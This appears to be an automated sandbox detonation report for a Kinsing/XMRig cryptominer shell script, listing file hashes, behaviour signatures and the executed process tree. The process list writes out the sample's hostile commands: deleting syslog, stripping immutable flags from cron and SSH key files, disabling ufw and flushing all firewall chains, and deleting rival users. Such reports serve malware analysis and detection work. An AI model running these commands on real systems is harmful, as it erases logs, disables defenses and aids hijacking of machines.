/var/spool/cron/crontabs/tmp.2BjTz2

MD5 1ec7a91c810501a325ef9f886e415189
SHA1 bcd604d8903494de33403a9f39de4ff2c241737f
SHA256 c8c76bd635ee40b4f431208e016f2380840f333f5359f212e32b281c4591d0f8
SHA512 13f5d7b9748e4314fd07bfa3ace3044a585213a32da85f72d1959475abc11b21bb39dbad525545faba09a3090da08197f81dd670ce8ab20a2f20998e9fb3062f

/etc/kinsing

MD5 8eec510e57f5f732fd2cce73df7b73ef
SHA1 3c0af39ecb3753c5fee3b53d063c7286019eac3b
SHA256 55f7d9e99b8e2d4e0e193b2f0275501e6d9c1ebd29cadbea6a0da48a8587e3e0
SHA512 73bbf698482132b5fd60a0b58926fddec9055f8095a53bc52714e211e9340c3419736ceafd6b279667810114d306bfccdcfcddf51c0b67fe9e3c73c54583e574

/var/spool/cron/crontabs/tmp.d3N7XF

MD5 0841491a46f3771c647626e6fb5e2a9e
SHA1 a11545b2e72880c0a2f647f85f2ab76a8cf01370
SHA256 215edc9727b812af5c285f011eae31a2f102e0c04f06eaa1161512ee604af298
SHA512 0da6a97e2e3e9ea4830e2ed38e85443e504a6abcc49c0888fa9996caa70784b238576ec72ad0f13926ecffcbcfd9d6f75ef2c997500fbe2cb629f94bd14c41b1

/var/spool/cron/crontabs/tmp.KQ96AM

MD5 30521b10c0183a879a38b75698e3014a
SHA1 1740b6fbc576ce3df1877e4060365d2f43aa2775
SHA256 5d5e0c02b8531ec5fbfc855ad148b25ebd65ba5fecd81f93029fe8857a636ce2
SHA512 49915e360253f34e0dddc3d142a9fcf8eff19413f03cc8312491d34949ea91a2c76843f2f1f3e2e1ee39ac5b857856a76847871b62311c837a8c1254b44a518f

Analysis: behavioral5

Detonation Overview

Submitted

2024-12-06 14:06

Reported

2024-12-06 14:09

Platform

ubuntu1804-amd64-20240611-en

Max time kernel

19s

Max time network

131s

Command Line

[/tmp/script_malware/1.sh]

Signatures

Xmrig_linux family

xmrig_linux

xmrig

miner xmrig_linux

File and Directory Permissions Modification

defense_evasion
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Deletes system logs

evasion
Description Indicator Process Target
File deleted /var/log/syslog /bin/rm N/A

Executes dropped EXE

Description Indicator Process Target
N/A /etc/kinsing N/A N/A

Flushes firewall rules

defense_evasion
Description Indicator Process Target
N/A N/A /usr/sbin/ufw N/A
N/A N/A /sbin/iptables N/A
N/A N/A N/A N/A

Loads a kernel module

rootkit
Description Indicator Process Target
N/A /lib/modules/4.15.0-213-generic/kernel/net/ipv6/netfilter/ip6_tables.ko /sbin/modprobe N/A

Abuse Elevation Control Mechanism: Sudo and Sudo Caching

privilege_escalation defense_evasion
Description Indicator Process Target
N/A N/A /usr/bin/sudo N/A

Attempts to change immutable files

Description Indicator Process Target
N/A N/A /sbin/iptables N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A /sbin/iptables N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A /sbin/iptables N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A /sbin/iptables N/A
N/A N/A /sbin/iptables N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A /usr/bin/chattr N/A
N/A N/A /sbin/ip6tables N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A /sbin/iptables N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A /sbin/ip6tables N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Creates/modifies Cron job

execution persistence privilege_escalatio
Description Indicator Process Target
File opened for modification /var/spool/cron/crontabs/tmp.aYuzam N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.wDBBsL N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.7R0TlO N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.SVaBT3 N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.6EtQ8S N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.bNsfNR N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.NaN2x0 N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.chWlK8 N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.fHk03b N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.1S5LXg N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.KR50We /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.2YsBhR N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.D6mqLW N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.NtqV45 N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.8BBGrQ N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.REtGi8 N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.QAmLIe N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.E2hr5a /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.iEmTiW N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.pREbNi N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.PeAnNm /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.2ehdkP N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.Ee8ZcX N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.7VI8hd N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.Hb4PMa /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.1mZ50c /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.Tftnck /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.f9C9TO N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.LRTBn1 N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.kEuQql N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.RbCRA7 N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.YII5oh N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.61pEJl /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.mEKP6T N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.mm9DaZ N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.MzzFSc N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.LplFk6 N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.Qwn3V9 N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.mAEnlj N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.AXqfX0 N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.SglGvc N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.WH6qse N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.BWoZ69 N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.jtB7Nj N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.L9Ph9g /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.sXXKKj /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.Q4XzD7 N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.T4CXIY N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.wn0OT5 N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.HU4cUT N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.whNOw6 N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.9rebra N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.e9hxx8 N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.aUojSa N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.b2Cyag /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.PIH8c5 N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.njCDo3 N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.uQ9o02 N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.LsElMf N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.LXpYNn N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.UsgSne /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.0g7kEg /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.LZ06MV N/A N/A

Disables AppArmor

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Disables SELinux

defense_evasion
Description Indicator Process Target
N/A N/A N/A N/A

Enumerates running processes

Changes its process name

Description Indicator Process Target
Changes the process name, possibly in an attempt to hide itself (sysv-install) N/A N/A

Reads CPU attributes

discovery
Description Indicator Process Target
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online /bin/ps N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online /bin/ps N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A

Enumerates kernel/hardware configuration

discovery
Description Indicator Process Target
File opened for reading /sys/module/ip6_tables/initstate /sbin/modprobe N/A
File opened for reading /sys/module/x_tables/initstate /sbin/modprobe N/A

Process Discovery

discovery
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A /bin/ps N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A /bin/ps N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A /bin/ps N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A /bin/ps N/A
N/A N/A /bin/ps N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Reads runtime system information

discovery
Description Indicator Process Target
File opened for reading /proc/356/status N/A N/A
File opened for reading /proc/1166/cmdline N/A N/A
File opened for reading /proc/24/status N/A N/A
File opened for reading /proc/168/cmdline /bin/ps N/A
File opened for reading /proc/28/stat N/A N/A
File opened for reading /proc/1244/status N/A N/A
File opened for reading /proc/559/status N/A N/A
File opened for reading /proc/1157/cmdline N/A N/A
File opened for reading /proc/3566/stat N/A N/A
File opened for reading /proc/1149/status N/A N/A
File opened for reading /proc/6/cmdline N/A N/A
File opened for reading /proc/686/cmdline N/A N/A
File opened for reading /proc/424/cmdline N/A N/A
File opened for reading /proc/1292/cmdline N/A N/A
File opened for reading /proc/539/cmdline N/A N/A
File opened for reading /proc/465/status N/A N/A
File opened for reading /proc/2/cmdline N/A N/A
File opened for reading /proc/1070/stat /bin/ps N/A
File opened for reading /proc/3/cmdline N/A N/A
File opened for reading /proc/2/cmdline N/A N/A
File opened for reading /proc/84/cmdline N/A N/A
File opened for reading /proc/1064/status N/A N/A
File opened for reading /proc/1146/stat N/A N/A
File opened for reading /proc/3/cmdline N/A N/A
File opened for reading /proc/177/cmdline N/A N/A
File opened for reading /proc/1088/cmdline N/A N/A
File opened for reading /proc/1137/cmdline N/A N/A
File opened for reading /proc/1161/cmdline N/A N/A
File opened for reading /proc/1292/cmdline N/A N/A
File opened for reading /proc/1244/cmdline N/A N/A
File opened for reading /proc/9/status N/A N/A
File opened for reading /proc/26/status N/A N/A
File opened for reading /proc/14/cmdline N/A N/A
File opened for reading /proc/260/status N/A N/A
File opened for reading /proc/1146/status N/A N/A
File opened for reading /proc/356/cmdline N/A N/A
File opened for reading /proc/676/status N/A N/A
File opened for reading /proc/165/cmdline N/A N/A
File opened for reading /proc/stat N/A N/A
File opened for reading /proc/1525/status N/A N/A
File opened for reading /proc/1312/cmdline /usr/bin/pkill N/A
File opened for reading /proc/1499/status N/A N/A
File opened for reading /proc/180/cmdline N/A N/A
File opened for reading /proc/1172/status N/A N/A
File opened for reading /proc/170/status N/A N/A
File opened for reading /proc/1499/cmdline N/A N/A
File opened for reading /proc/1269/stat N/A N/A
File opened for reading /proc/1157/status N/A N/A
File opened for reading /proc/1174/status N/A N/A
File opened for reading /proc/1/status N/A N/A
File opened for reading /proc/465/status N/A N/A
File opened for reading /proc/1384/cmdline N/A N/A
File opened for reading /proc/1174/cmdline N/A N/A
File opened for reading /proc/441/cmdline /bin/ps N/A
File opened for reading /proc/1269/cmdline N/A N/A
File opened for reading /proc/1169/cmdline N/A N/A
File opened for reading /proc/3172/cmdline N/A N/A
File opened for reading /proc/207/cmdline N/A N/A
File opened for reading /proc/1336/cmdline N/A N/A
File opened for reading /proc/80/cmdline N/A N/A
File opened for reading /proc/178/stat /bin/ps N/A
File opened for reading /proc/170/status N/A N/A
File opened for reading /proc/661/cmdline N/A N/A
File opened for reading /proc/1092/stat N/A N/A

System Network Configuration Discovery

discovery
Description Indicator Process Target
N/A N/A /tmp/script_malware/1.sh N/A
N/A N/A /sbin/modprobe N/A
N/A N/A /bin/ls N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Writes file to tmp directory

Description Indicator Process Target
File opened for modification /tmp/log_rot /tmp/script_malware/1.sh N/A

Processes

/tmp/script_malware/1.sh

[/tmp/script_malware/1.sh]

/bin/rm

[rm -rf /var/log/syslog]

/usr/bin/chattr

[chattr -iua /tmp/]

/usr/bin/chattr

[chattr -iua /var/tmp/]

/usr/bin/chattr

[chattr -R -i /var/spool/cron]

/usr/bin/chattr

[chattr -i /etc/crontab]

/usr/sbin/ufw

[ufw disable]

/sbin/iptables

[/sbin/iptables -V]

/lib/ufw/ufw-init

[/lib/ufw/ufw-init force-stop]

/sbin/ip6tables

[ip6tables -L INPUT -n]

/sbin/modprobe

[/sbin/modprobe ip6_tables]

/sbin/iptables

[iptables -F ufw-logging-deny]

/sbin/iptables

[iptables -F ufw-logging-allow]

/sbin/iptables

[iptables -F ufw-not-local]

/sbin/iptables

[iptables -F ufw-user-logging-input]

/sbin/iptables

[iptables -F ufw-user-limit-accept]

/sbin/iptables

[iptables -F ufw-user-limit]

/sbin/iptables

[iptables -F ufw-skip-to-policy-input]

/sbin/iptables

[iptables -F ufw-reject-input]

/sbin/iptables

[iptables -F ufw-after-logging-input]

/sbin/iptables

[iptables -F ufw-after-input]

/sbin/iptables

[iptables -F ufw-user-input]

/sbin/iptables

[iptables -F ufw-before-input]

/sbin/iptables

[iptables -F ufw-before-logging-input]

/sbin/iptables

[iptables -F ufw-skip-to-policy-forward]

/sbin/iptables

[iptables -F ufw-reject-forward]

/sbin/iptables

[iptables -F ufw-after-logging-forward]

/sbin/iptables

[iptables -F ufw-after-forward]

/sbin/iptables

[iptables -F ufw-user-logging-forward]

/sbin/iptables

[iptables -F ufw-user-forward]

/sbin/iptables

[iptables -F ufw-before-forward]

/sbin/iptables

[iptables -F ufw-before-logging-forward]

/sbin/iptables

[iptables -F ufw-track-forward]

/sbin/iptables

[iptables -F ufw-track-output]

/sbin/iptables

[iptables -F ufw-track-input]

/sbin/iptables

[iptables -F ufw-skip-to-policy-output]

/sbin/iptables

[iptables -F ufw-reject-output]

/sbin/iptables

[iptables -F ufw-after-logging-output]

/sbin/iptables

[iptables -F ufw-after-output]

/sbin/iptables

[iptables -F ufw-user-logging-output]

/sbin/iptables

[iptables -F ufw-user-output]

/sbin/iptables

[iptables -F ufw-before-output]

/sbin/iptables

[iptables -F ufw-before-logging-output]

/sbin/iptables

[iptables -Z ufw-logging-deny]

/sbin/iptables

[iptables -Z ufw-logging-allow]

/sbin/iptables

[iptables -Z ufw-not-local]

/sbin/iptables

[iptables -Z ufw-user-logging-input]

/sbin/iptables

[iptables -Z ufw-user-limit-accept]

/sbin/iptables

[iptables -Z ufw-user-limit]

/sbin/iptables

[iptables -Z ufw-skip-to-policy-input]

/sbin/iptables

[iptables -Z ufw-reject-input]

/sbin/iptables

[iptables -Z ufw-after-logging-input]

/sbin/iptables

[iptables -Z ufw-after-input]

/sbin/iptables

[iptables -Z ufw-user-input]

/sbin/iptables

[iptables -Z ufw-before-input]

/sbin/iptables

[iptables -Z ufw-before-logging-input]

/sbin/iptables

[iptables -Z ufw-skip-to-policy-forward]

/sbin/iptables

[iptables -Z ufw-reject-forward]

/sbin/iptables

[iptables -Z ufw-after-logging-forward]

/sbin/iptables

[iptables -Z ufw-after-forward]

/sbin/iptables

[iptables -Z ufw-user-logging-forward]

/sbin/iptables

[iptables -Z ufw-user-forward]

/sbin/iptables

[iptables -Z ufw-before-forward]

/sbin/iptables

[iptables -Z ufw-before-logging-forward]

/sbin/iptables

[iptables -Z ufw-track-forward]

/sbin/iptables

[iptables -Z ufw-track-output]

/sbin/iptables

[iptables -Z ufw-track-input]

/sbin/iptables

[iptables -Z ufw-skip-to-policy-output]

/sbin/iptables

[iptables -Z ufw-reject-output]

/sbin/iptables

[iptables -Z ufw-after-logging-output]

/sbin/iptables

[iptables -Z ufw-after-output]

/sbin/iptables

[iptables -Z ufw-user-logging-output]

/sbin/iptables

[iptables -Z ufw-user-output]

/sbin/iptables

[iptables -Z ufw-before-output]

/sbin/iptables

[iptables -Z ufw-before-logging-output]

/sbin/iptables

[iptables -X ufw-logging-deny]

/sbin/iptables

[iptables -X ufw-logging-allow]

/sbin/iptables

[iptables -X ufw-not-local]

/sbin/iptables

[iptables -X ufw-user-logging-input]

/sbin/iptables

[iptables -X ufw-user-logging-output]

/sbin/iptables

[iptables -X ufw-user-logging-forward]

/sbin/iptables

[iptables -X ufw-user-limit-accept]

/sbin/iptables

[iptables -X ufw-user-limit]

/sbin/iptables

[iptables -X ufw-user-input]

/sbin/iptables

[iptables -X ufw-user-forward]

/sbin/iptables

[iptables -X ufw-user-output]

/sbin/iptables

[iptables -X ufw-skip-to-policy-input]

/sbin/iptables

[iptables -X ufw-skip-to-policy-output]

/sbin/iptables

[iptables -X ufw-skip-to-policy-forward]

/sbin/iptables

[iptables -P INPUT ACCEPT]

/sbin/iptables

[iptables -P OUTPUT ACCEPT]

/sbin/iptables

[iptables -P FORWARD ACCEPT]

/sbin/ip6tables

[ip6tables -F ufw6-logging-deny]

/sbin/ip6tables

[ip6tables -F ufw6-logging-allow]

/sbin/ip6tables

[ip6tables -F ufw6-not-local]

/sbin/ip6tables

[ip6tables -F ufw6-user-logging-input]

/sbin/ip6tables

[ip6tables -F ufw6-user-limit-accept]

/sbin/ip6tables

[ip6tables -F ufw6-user-limit]

/sbin/ip6tables

[ip6tables -F ufw6-skip-to-policy-input]

/sbin/ip6tables

[ip6tables -F ufw6-reject-input]

/sbin/ip6tables

[ip6tables -F ufw6-after-logging-input]

/sbin/ip6tables

[ip6tables -F ufw6-after-input]

/sbin/ip6tables

[ip6tables -F ufw6-user-input]

/sbin/ip6tables

[ip6tables -F ufw6-before-input]

/sbin/ip6tables

[ip6tables -F ufw6-before-logging-input]

/sbin/ip6tables

[ip6tables -F ufw6-skip-to-policy-forward]

/sbin/ip6tables

[ip6tables -F ufw6-reject-forward]

/sbin/ip6tables

[ip6tables -F ufw6-after-logging-forward]

/sbin/ip6tables

[ip6tables -F ufw6-after-forward]

/sbin/ip6tables

[ip6tables -F ufw6-user-logging-forward]

/sbin/ip6tables

[ip6tables -F ufw6-user-forward]

/sbin/ip6tables

[ip6tables -F ufw6-before-forward]

/sbin/ip6tables

[ip6tables -F ufw6-before-logging-forward]

/sbin/ip6tables

[ip6tables -F ufw6-track-forward]

/sbin/ip6tables

[ip6tables -F ufw6-track-output]

/sbin/ip6tables

[ip6tables -F ufw6-track-input]

/sbin/ip6tables

[ip6tables -F ufw6-skip-to-policy-output]

/sbin/ip6tables

[ip6tables -F ufw6-reject-output]

/sbin/ip6tables

[ip6tables -F ufw6-after-logging-output]

/sbin/ip6tables

[ip6tables -F ufw6-after-output]

/sbin/ip6tables

[ip6tables -F ufw6-user-logging-output]

/sbin/ip6tables

[ip6tables -F ufw6-user-output]

/sbin/ip6tables

[ip6tables -F ufw6-before-output]

/sbin/ip6tables

[ip6tables -F ufw6-before-logging-output]

/sbin/ip6tables

[ip6tables -Z ufw6-logging-deny]

/sbin/ip6tables

[ip6tables -Z ufw6-logging-allow]

/sbin/ip6tables

[ip6tables -Z ufw6-not-local]

/sbin/ip6tables

[ip6tables -Z ufw6-user-logging-input]

/sbin/ip6tables

[ip6tables -Z ufw6-user-limit-accept]

/sbin/ip6tables

[ip6tables -Z ufw6-user-limit]

/sbin/ip6tables

[ip6tables -Z ufw6-skip-to-policy-input]

/sbin/ip6tables

[ip6tables -Z ufw6-reject-input]

/sbin/ip6tables

[ip6tables -Z ufw6-after-logging-input]

/sbin/ip6tables

[ip6tables -Z ufw6-after-input]

/sbin/ip6tables

[ip6tables -Z ufw6-user-input]

/sbin/ip6tables

[ip6tables -Z ufw6-before-input]

/sbin/ip6tables

[ip6tables -Z ufw6-before-logging-input]

/sbin/ip6tables

[ip6tables -Z ufw6-skip-to-policy-forward]

/sbin/ip6tables

[ip6tables -Z ufw6-reject-forward]

/sbin/ip6tables

[ip6tables -Z ufw6-after-logging-forward]

/sbin/ip6tables

[ip6tables -Z ufw6-after-forward]

/sbin/ip6tables

[ip6tables -Z ufw6-user-logging-forward]

/sbin/ip6tables

[ip6tables -Z ufw6-user-forward]

/sbin/ip6tables

[ip6tables -Z ufw6-before-forward]

/sbin/ip6tables

[ip6tables -Z ufw6-before-logging-forward]

/sbin/ip6tables

[ip6tables -Z ufw6-track-forward]

/sbin/ip6tables

[ip6tables -Z ufw6-track-output]

/sbin/ip6tables

[ip6tables -Z ufw6-track-input]

/sbin/ip6tables

[ip6tables -Z ufw6-skip-to-policy-output]

/sbin/ip6tables

[ip6tables -Z ufw6-reject-output]

/sbin/ip6tables

[ip6tables -Z ufw6-after-logging-output]

/sbin/ip6tables

[ip6tables -Z ufw6-after-output]

/sbin/ip6tables

[ip6tables -Z ufw6-user-logging-output]

/sbin/ip6tables

[ip6tables -Z ufw6-user-output]

/sbin/ip6tables

[ip6tables -Z ufw6-before-output]

/sbin/ip6tables

[ip6tables -Z ufw6-before-logging-output]

/sbin/ip6tables

[ip6tables -X ufw6-logging-deny]

/sbin/ip6tables

[ip6tables -X ufw6-logging-allow]

/sbin/ip6tables

[ip6tables -X ufw6-not-local]

/sbin/ip6tables

[ip6tables -X ufw6-user-logging-input]

/sbin/ip6tables

[ip6tables -X ufw6-user-logging-output]

/sbin/ip6tables

[ip6tables -X ufw6-user-logging-forward]

/sbin/ip6tables

[ip6tables -X ufw6-user-limit-accept]

/sbin/ip6tables

[ip6tables -X ufw6-user-limit]

/sbin/ip6tables

[ip6tables -X ufw6-user-input]

/sbin/ip6tables

[ip6tables -X ufw6-user-forward]

/sbin/ip6tables

[ip6tables -X ufw6-user-output]

/sbin/ip6tables

[ip6tables -X ufw6-skip-to-policy-input]

/sbin/ip6tables

[ip6tables -X ufw6-skip-to-policy-output]

/sbin/ip6tables

[ip6tables -X ufw6-skip-to-policy-forward]

/sbin/ip6tables

[ip6tables -P INPUT ACCEPT]

/sbin/ip6tables

[ip6tables -P OUTPUT ACCEPT]

/sbin/ip6tables

[ip6tables -P FORWARD ACCEPT]

/sbin/iptables

[iptables -F]

/usr/bin/sudo

[sudo sysctl kernel.nmi_watchdog=0]

/usr/sbin/userdel

[userdel akay]

/usr/sbin/userdel

[userdel vfinder]

/usr/bin/chattr

[chattr -iae /root/.ssh/]

/usr/bin/chattr

[chattr -iae /root/.ssh/authorized_keys]

/bin/rm

[rm -rf /tmp/addres*]

/bin/rm

[rm -rf /tmp/walle*]

/bin/rm

[rm -rf /tmp/keys]

/bin/grep

[grep exe]

